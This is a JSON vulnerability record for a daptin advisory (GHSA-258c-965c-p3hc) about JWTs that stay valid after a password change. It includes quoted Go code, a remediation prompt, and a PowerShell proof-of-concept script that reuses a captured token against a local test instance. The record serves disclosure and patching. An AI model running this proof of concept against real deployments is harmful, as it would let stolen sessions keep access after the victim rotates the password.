{"answers":{"affected":"3 open source packages ship an affected version, including github.com/daptin/daptin.","exploited":"There is no known exploitation of GHSA-258c-965c-p3hc in the wild and no public exploit code.","fix":"Upgrade github.com/daptin/daptin to 0.11.8 or later.","what":"GHSA-258c-965c-p3hc is a vulnerability in github.com/daptin/daptin, published on 7 May 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-258c-965c-p3hc and fix it if it is affected.\n\nWhat it is: GHSA-258c-965c-p3hc is a vulnerability in github.com/daptin/daptin, published on 7 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-258c-965c-p3hc in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/daptin/daptin (Go): affected all versions; fixed in 0.11.8\n- github.com/daptin/daptin (Go): affected all versions; fixed in 0.11.8\n- github.com/daptin/daptin (Go): affected all versions; fixed in 0.11.8\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-258c-965c-p3hc/ (Markdown: https://insights.sbomify.com/GHSA-258c-965c-p3hc/index.md)","id":"GHSA-258c-965c-p3hc","markdown":"https://insights.sbomify.com/GHSA-258c-965c-p3hc/index.md","name":"GHSA-258c-965c-p3hc","record":{"aliases":["GO-2026-4991"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["security_bypass"],"network_reachable":"yes","non_default_config":false,"product_category":"Daptin backend","requires_auth":"low_privilege","summary":"Attackers retain valid sessions after password changes because JWTs are not invalidated, bypassing password rotation controls.","user_interaction":"not_required","vuln_class":"security_feature_bypass"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nA session invalidation vulnerability exists in daptin's authentication system where JSON Web Tokens (JWTs) remain fully valid after a user changes their password. The JWT validation middleware (`CheckJWT`) only verifies token signature, expiry, issuer, and signing algorithm — it does not check whether the token was issued before the most recent password change. The password update code path hashes the new password but never calls `InvalidateAuthCacheForEmail()` and never revokes or blacklists existing tokens. This effectively negating password rotation as an incident response control.\n\n#### Vulnerable Files\n\n* `daptin/server/jwt/jwtmiddleware.go` — JWT validation without session versioning\n* `daptin/server/resource/resource_update.go` — password update without session invalidation\n* `daptin/server/actions/action_generate_jwt_token.go` — JWT claims lack password version\n* `daptin/server/auth/auth.go` — `InvalidateAuthCacheForEmail` exists but not called on update\n* `daptin/server/resource/columns.go` — password change action wiring\n\n#### Vulnerable Code Snippet\n\n**1. JWT validation checks nothing beyond signature/expiry/issuer (jwtmiddleware.go:232-260):**\n\n```go\n// Now parse the token\nparsedToken, err := jwt.Parse(token, m.Options.ValidationKeyGetter)\n\n// Check if there was an error in parsing...\nif err != nil {\n    m.logf(\"Error parsing token: %v\", err)\n    m.Options.ErrorHandler(w, r, err.Error())\n    return nil, fmt.Errorf(\"Error parsing token: %v\", err)\n}\n\nif parsedToken.Claims.(jwt.MapClaims)[\"iss\"] != m.Options.Issuer {\n    return nil, fmt.Errorf(\"Invalid issuer: %v\", parsedToken.Header[\"iss\"])\n}\n\nif m.Options.SigningMethod != nil \u0026\u0026 m.Options.SigningMethod.Alg() != parsedToken.Header[\"alg\"] {\n    // ... algorithm check\n}\n\n// Check if the parsed token is valid...\nif !parsedToken.Valid {\n    m.logf(\"Token is invalid\")\n    m.Options.ErrorHandler(w, r, \"The token isn't valid\")\n    return nil, errors.New(\"Token is invalid\")\n}\n```\n\n**No check exists for password version, session version, or token revocation status.** A token issued before a password change passes all these checks identically.\n\n**2. Password update hashes new password but never invalidates sessions (resource_update.go:282-287):**\n\n```go\nif col.ColumnType == \"password\" {\n    val, err = BcryptHashString(val.(string))\n    if err != nil {\n        log.Errorf(\"Failed to convert string to bcrypt hash, not storing the value: %v\", err)\n        continue\n    }\n}\n```\n\nThe new bcrypt hash is stored, but no call to `auth.InvalidateAuthCacheForEmail()` is made, and no token revocation mechanism is triggered.\n\n**3. JWT claims lack any password-bound claim (action_generate_jwt_token.go:74-83):**\n\n```go\ntoken := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{\n    \"email\": existingUser[\"email\"],\n    \"sub\":   daptinid.InterfaceToDIR(existingUser[\"reference_id\"]).String(),\n    \"name\":  existingUser[\"name\"],\n    \"nbf\":   timeNow.Unix(),\n    \"exp\":   timeNow.Add(time.Duration(d.tokenLifeTime) * time.Hour).Unix(),\n    \"iss\":   d.jwtTokenIssuer,\n    \"iat\":   timeNow.Unix(),\n    \"jti\":   u.String(),\n})\n```\n\nClaims include `email`, `sub`, `name`, `nbf`, `exp`, `iss`, `iat`, `jti` — but **no `pwd_version`** or equivalent claim that could be compared against a server-side value during validation.\n\n**4. InvalidateAuthCacheForEmail exists but is NOT called on password update (auth.go:520-530):**\n\n```go\nfunc InvalidateAuthCacheForEmail(email string) {\n    if olricCache == nil {\n        return\n    }\n    _, err := olricCache.Delete(context.Background(), email)\n    if err != nil {\n        log.Warnf(\"failed to invalidate auth cache for %s: %v\", email, err)\n    }\n}\n```\n\nThis function is called in `resource_create.go:470`, `resource_delete.go:73`, and `dbmethods.go:1194` — but **never** in `resource_update.go`, which is the code path for password changes.\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a user account on the daptin instance\n2. Sign in and capture the JWT (this becomes the \"stolen\" token)\n3. Change the user's password via `PATCH /api/user_account/{id}`\n4. Reuse the original JWT — it still returns `HTTP 200` with full data access\n5. Confirm the old password no longer works for new login (password did change)\n6. Confirm the old token still allows write operations (full CRUD retained)\n\n**Result: `HTTP 200`** — write operations also succeed with the old token.\n\n#### Automation PoC\n\n```\n# VULN-04: No Session Invalidation After Password Change\n# CWE-613 | daptin v0.9.82\n# Proves: old JWT stays valid after password change\n\n$BASE = \"http://127.0.0.1:6336\"\nWrite-Host \"`n===== VULN-04: Session Invalidation Test =====`n\" -ForegroundColor Cyan\n\n# Step 0: Clean restart\nWrite-Host \"[0] Restarting container...\" -ForegroundColor Yellow\ndocker compose -f \"c:\\Users\\Vashu\\Desktop\\Projects\\ZeroDay\\cve_hunt\\daptin\\docker-compose.yml\" restart daptin\nStart-Sleep 8\n\n# Step 1: Create victim user\nWrite-Host \"[1] Creating victim user...\" -ForegroundColor Yellow\n$s = @{attributes=@{email='victim04@p.me';password='OrigPass123!';passwordConfirm='OrigPass123!';name='victim04'}} | ConvertTo-Json\ntry { Invoke-RestMethod -Uri \"$BASE/action/user_account/signup\" -Method Post -ContentType 'application/json' -Body $s | Out-Null } catch {}\n\n# Step 2: Sign in, capture OLD token (simulates stolen token)\nWrite-Host \"[2] Signing in for OLD token...\" -ForegroundColor Yellow\n$si = @{attributes=@{email='victim04@p.me';password='OrigPass123!'}} | ConvertTo-Json\n$r = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType 'application/json' -Body $si\n$OLD = ($r | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value\nWrite-Host \"  OLD token captured (len=$($OLD.Length))\" -ForegroundColor Green\n\n# Step 3: Get victim ID\n$ua = Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $OLD\"}\n$ID = ($ua.data | Where-Object {$_.attributes.email -eq 'victim04@p.me'} | Select-Object -First 1).id\nWrite-Host \"[3] Victim ID: $ID\" -ForegroundColor Green\n\n# Step 4: VICTIM CHANGES PASSWORD\nWrite-Host \"[4] *** VICTIM CHANGES PASSWORD ***\" -ForegroundColor Red\n$p = @{data=@{type='user_account';id=$ID;attributes=@{password='NewPass456!'}}} | ConvertTo-Json -Depth 8\nInvoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $OLD\"} -ContentType 'application/vnd.api+json' -Body $p | Out-Null\nWrite-Host \"  Password changed.\" -ForegroundColor Green\n\n# Step 5: OLD token still works?\nWrite-Host \"[5] Testing OLD token after password change...\" -ForegroundColor Red\ntry {\n  $t = Invoke-RestMethod -Uri \"$BASE/api/user_account\" -Headers @{Authorization=\"Bearer $OLD\"}\n  Write-Host \"  RESULT: OLD token STILL VALID (HTTP 200, $($t.data.Count) records)\" -ForegroundColor Red\n  Write-Host \"  *** VULN CONFIRMED: Session NOT invalidated after password change ***\" -ForegroundColor Red\n} catch {\n  Write-Host \"  RESULT: OLD token REJECTED\" -ForegroundColor Green\n}\n\n# Step 6: Write test with OLD token\nWrite-Host \"[6] Write test with OLD token...\" -ForegroundColor Yellow\ntry {\n  $wp = @{data=@{type='user_account';id=$ID;attributes=@{name='hacked_by_old_token'}}} | ConvertTo-Json -Depth 8\n  Invoke-RestMethod -Uri \"$BASE/api/user_account/$ID\" -Method Patch -Headers @{Authorization=\"Bearer $OLD\"} -ContentType 'application/vnd.api+json' -Body $wp | Out-Null\n  Write-Host \"  WRITE SUCCEEDED with old token!\" -ForegroundColor Red\n} catch {\n  Write-Host \"  Write rejected\" -ForegroundColor Green\n}\n\n# Step 7: New password works for login?\nWrite-Host \"[7] New password login...\" -ForegroundColor Yellow\n$si2 = @{attributes=@{email='victim04@p.me';password='NewPass456!'}} | ConvertTo-Json\n$r2 = Invoke-RestMethod -Uri \"$BASE/action/user_account/signin\" -Method Post -ContentType 'application/json' -Body $si2\n$NEW = ($r2 | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value\nWrite-Host \"  New password login: SUCCESS\" -ForegroundColor Green","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Daptin's Session Management Vulnerability Leads to Insufficient Session Expiration After Password Change","id":"GHSA-258c-965c-p3hc","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"security_feature_bypass","year":"2026"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":["0.11.8"],"introduced":["0"],"last_affected":[],"package":"github.com/daptin/daptin","purl":null,"source":"GHSA-258c-965c-p3hc"},{"ecosystem":"Go","fixed":["0.11.8"],"introduced":["0"],"last_affected":[],"package":"github.com/daptin/daptin","purl":"pkg:golang/github.com/daptin/daptin","source":"GHSA-258c-965c-p3hc"},{"ecosystem":"Go","fixed":["0.11.8"],"introduced":["0"],"last_affected":[],"package":"github.com/daptin/daptin","purl":"pkg:golang/github.com/daptin/daptin","source":"GO-2026-4991"}],"products":null,"published":"2026-05-07","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers retain valid sessions after password changes because JWTs are not invalidated, bypassing password rotation controls.","url":"https://insights.sbomify.com/GHSA-258c-965c-p3hc/"}